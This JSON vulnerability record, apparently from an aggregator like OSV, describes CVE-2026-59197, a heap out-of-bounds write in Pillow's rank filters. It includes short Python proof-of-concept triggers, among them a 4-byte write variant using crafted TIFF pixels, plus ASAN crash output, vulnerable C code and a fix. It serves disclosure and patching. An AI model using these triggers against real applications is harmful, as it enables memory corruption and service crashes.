{"id":"CVE-2026-59197","aliases":["CVE-2026-59197","GHSA-xj96-63gp-2gmr","BIT-PILLOW-2026-59197","PYSEC-2026-3454"],"related":[],"kind":"vulnerability","state":"published","title":"Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`","summary":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin < 0 && ymargin < 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x < xmargin; x++) {\n    imOut->image[yout][x] = imIn->image[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size & 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin < 0 || ymargin < 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin > (INT_MAX - imIn->xsize) / 2 ||\n    ymargin > (INT_MAX - imIn->ysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Pillow es una biblioteca de procesamiento de imágenes de Python. Antes de la versión 12.3.0, la API pública de filtro de rango de Pillow puede desencadenar una escritura fuera de límites en el heap nativo cuando se le proporciona un tamaño de filtro impar muy grande porque ImageFilter.RankFilter.filter() llama a image.expand(size // 2, size // 2) antes de la validación del tamaño del filtro de rango e ImagingExpand() calcula las dimensiones de salida con aritmética de enteros con signo sin verificar. Este problema está solucionado en la versión 12.3.0.","source":"nvd"}],"published":"2026-07-14T16:25:23.520Z","modified":"2026-10-24T21:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","score":8.2,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","score":8.2,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-190","CWE-787"],"affected":[{"ranges":[{"version":"< 12.3.0","status":"affected"}],"vendor":"python-pillow","product":"Pillow","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"12.3.0"}],"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"12.3.0"}],"vendor":"python","product":"pillow","cpe":"cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"12.3.0"}],"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","source":"pysec"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"12.3.0"}],"ecosystem":"Bitnami","package":"pillow","purl":"pkg:bitnami/pillow","source":"bitnami"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr","tags":["advisory","evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://github.com/python-pillow/Pillow/pull/9695","tags":["fix","issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","tags":["advisory","article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-21T18:50:30.849Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59197","url":"https://www.cve.org/CVERecord?id=CVE-2026-59197","licence":"CVE Terms of Use","modified":"2026-07-21T18:50:40.019Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xj96-63gp-2gmr","url":"https://github.com/advisories/GHSA-xj96-63gp-2gmr","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:53.192Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","licence":"Public domain","modified":"2026-10-24T21:10:00.130Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3454","url":"https://osv.dev/vulnerability/PYSEC-2026-3454","licence":"CC-BY-4.0","modified":"2026-07-22T11:11:36.231Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-PILLOW-2026-59197","url":"https://osv.dev/vulnerability/BIT-PILLOW-2026-59197","licence":"Apache-2.0","modified":"2026-09-08T08:48:18.503Z"}],"updatedAt":"2026-11-25T22:59:27.997Z","epss":{"score":0.00445,"percentile":0.40465,"date":"2026-12-01T12:00:22.000Z"}}